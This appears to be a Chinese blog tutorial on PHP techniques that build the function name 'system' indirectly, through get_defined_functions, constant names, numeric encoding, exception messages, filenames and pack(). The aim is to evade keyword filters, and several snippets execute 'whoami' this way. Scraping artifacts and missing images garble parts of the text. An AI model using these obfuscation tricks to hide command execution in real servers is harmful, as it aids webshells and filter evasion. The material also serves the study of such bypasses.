前言
这篇文章主要是总结一下自己学习过的如何获取恶意函数的篇章,重点是在如何获取恶意函数
get_defined_functions
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_functions --- 返回所有已定义函数的数组
我们主要是可以通过这个获取危险的函数
比如

比如

当然还有许多,如何执行命令就很简单了
代码如下
ounter(lineounter(lineounter(lineounter(line<?php$a=(get_defined_functions());$a["internal"][516]("whoami");?>

get_defined_constants
get_defined_constants --- 返回所有常量的关联数组,键是常量名,值是常量值
那获取的常量是不是可以为我们所用呢?

可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗
代码如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
$a=get_defined_constants();
foreach ($a as $key => $value){
if (substr($key,0,7)=="INI_SYS"){
$x= strtolower(substr($key,4,6));
$x("whoami");
}
}
?>

自定义方法
通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}
现在还没有看出端倪,但是当你运行这串代码的时候
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}echo fun(451232);

抛出异常截取字符串
这个手法也是比较特殊的
我们可以随便找一个异常类
比如 ParseError,然后再加上我们刚刚的自定义方法
ParseError 当解析 PHP 代码时发生错误时抛出,比如当 eval() 被调用出错时。
它的一些属性和方法
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/* 继承的属性 */protected string $message = "";private string $string = "";protected int $code;protected string $file = "";protected int $line;private array $trace = [];private ?Throwable $previous = null;/* 继承的方法 */public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)final public Error::getMessage(): stringfinal public Error::getPrevious(): ?Throwablefinal public Error::getCode(): intfinal public Error::getFile(): stringfinal public Error::getLine(): intfinal public Error::getTrace(): arrayfinal public Error::getTraceAsString(): stringpublic Error::__toString(): stringprivate Error::__clone(): void
可以看到都是基础父类的
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineException::__construct --- 异常构造函数Exception::getMessage --- 获取异常消息内容Exception::getPrevious --- 返回前一个 ThrowableException::getCode --- 获取异常代码Exception::getFile --- 创建异常时的程序文件名称Exception::getLine --- 获取创建的异常所在文件中的行号Exception::getTrace --- 获取异常追踪信息Exception::getTraceAsString --- 获取字符串类型的异常追踪信息Exception::__toString --- 将异常对象转换为字符串Exception::__clone --- 异常克隆
根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗
代码如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$a = new ParseError(fun(451232));echo $a->getMessage();

DirectoryIterator
The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
它的一些方法
-
DirectoryIterator::__construct --- Constructs a new directory iterator from a path
-
DirectoryIterator::current --- Return the current DirectoryIterator item
-
DirectoryIterator::getBasename --- Get base name of current DirectoryIterator item
-
DirectoryIterator::getExtension --- Gets the file extension
-
DirectoryIterator::getFilename --- Return file name of current DirectoryIterator item
-
DirectoryIterator::isDot --- Determine if current DirectoryIterator item is '.' or '..'
-
DirectoryIterator::key --- Return the key for the current DirectoryIterator item
-
DirectoryIterator::next --- Move forward to next DirectoryIterator item
-
DirectoryIterator::rewind --- Rewind the DirectoryIterator back to the start
-
DirectoryIterator::seek --- Seek to a DirectoryIterator item
-
DirectoryIterator::__toString --- Get file name as a string
-
DirectoryIterator::valid --- Check whether current DirectoryIterator position is a valid file
其中大概看一下,其实
DirectoryIterator::getFilename 就有利用的可能
DirectoryIterator::getFilename --- Return file name of current DirectoryIterator item
看一下官方的例子
ounter(line<?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) { echo $fileinfo->getFilename() . "\n";}?>
以上示例的输出类似于:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line...apple.jpgbanana.jpgindex.phppear.jpg
那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗
代码如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?php// 创建FilesystemIterator实例$iterator = new FilesystemIterator(dirname(__FILE__));foreach ($iterator as $item) { // 输出文件和目录的属性 echo $item->getFilename() . "\n";}?>

运行结果

确实是获取到了
pack
这个函数很有意思的
pack --- 将数据打包成二进制字符串
可以构造出字符串
pack(string$format
, mixed...$values
): string
将输入参数打包成 format
格式的二进制字符串。
这个函数的思想来自 Perl,所有格式化代码(format
)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 "u"。
注意,有符号值和无符号值之间的区别只影响函数 unpack(),在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。
看了一下大概,再看下官方的例子
这是一些它的格式

示例 #1 *pack()* 范例
ounter(line<?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?>
输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。
那我们按照构造出 system 的思路
ounter(lineounter(lineounter(lineounter(lineounter(line
<?php
echo pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d");
?>
这两个结果都是 system
-
"C6"
是格式字符串,其中C
表示将后续的六个参数视为无符号字符(即 ASCII 字符),6
表示有六个字符。 -
传入的参数
115, 121, 115, 116, 101, 109
是 ASCII 码值。
*-
115
对应的字符是s
-
121
对应的字符是y
-
115
对应的字符是s
-
116
对应的字符是t
-
101
对应的字符是e
-
109
对应的字符是m
-
ounter(line
-
构造出来的就是 system
-
"H*"
是格式字符串,其中H
表示将后续传递的参数视为十六进制字符串,*
表示任意长度。
73797374656d
是一个十六进制表示的字符串。将其转换为 ASCII 字符:
构造出来的也是system
*
-
73
是s
-
79
是y
-
73
是s
-
74
是t
-
65
是e
-
6d
是m
- ounter(line
